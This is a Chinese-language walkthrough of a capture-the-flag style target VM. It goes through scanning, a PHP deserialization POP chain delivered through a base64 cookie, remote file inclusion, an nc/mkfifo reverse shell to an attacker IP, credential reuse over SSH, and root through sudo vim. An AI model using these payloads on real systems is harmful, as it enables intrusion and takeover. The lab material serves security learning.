一、安装靶机

首先创建新的虚拟机。

然后选择客户机版本为Ubuntu 64位。

然后选择使用现有磁盘，选择下载的vmdk磁盘文件即可。剩下的都是默认

二、信息收集

发现主机192.168.204.143

访问

扫描端口nmap -A 192.168.204.143 -p-，发现只有ssh:22和http:80服务的端口

扫描目录

Index.php我们已经访问过了，所以我们访问另一个

点击bak.zip给我下载到了本地打开发现三个php文件，解压打开

打开文件，发现unserialize()反序列函数，通过代码审计发现有用户传入的参数，有可能是php反序列化漏洞

三、漏洞利用

对index页面抓包

将cookiebase64解密之后，确实是序列化

之后便是分析php文件，找pop链（感觉代码放这里看不明显，直接上截图）

cookie有值就直接反序列化，这里包含了uesr.class.php文件，去看一下

uesr.class.php文件

log.class.php

构造exp，记住所有变量前用public修饰

name = $name;          $this->wel = new Log();      }  }  $us = new User("sk4");  print_r(serialize($us));  ?>

得到 O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}之后去base64编码之后，赋值给cookie，成功执行

四、获取shell

因为这样执行命令不太方便，我们可以换一种方式，在本地打开web服务，写个命令执行代码,写到www文件夹里的3.php里面（访问该文件：http://192.168.3.46/3.php

），尝试看能不能远程包含

修改type_log的值，将运行的结果base64编码，改cookie，成功访问，证明可以远程包含

发现一直报错显示无法执行空逗号，我那时候还在疑惑为什么不行，试了很久发现是包含文件是php形式的错，包含的文件会先自己进行解析（这里是test.php，会先按php进行解析），解析之后的内容再到包含文件的地方，按它那里的格式进行解析（这里是php文件，按php解析），因此这里test.php先解析的时候，$_GET['x']没有值，因此报错，而按txt解析的时候不会报这个错误，因为被当做字符串

将test.php换为test.txt，之后重新序列化，编码，写入cookie，参数，发现成功执行

添加反弹shell:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.204.136+4444+>/tmp/f

，没有回应，但反弹shell成功

五、提权

执行whoami，发现是www-data用户，查看根目录下的文件，发现敏感文件credentials.txt.bak，我们查看一下

查看文件获取到一个用户名和密码

我们前面信息收集的时候发现22端口是打开的，我们ssh远程登陆一下，输入靶机的ip，再输入我们刚刚得到用户名和密码，登陆

尝试提权，试试sudo vim，进入到命令模式输入!bash

提权成功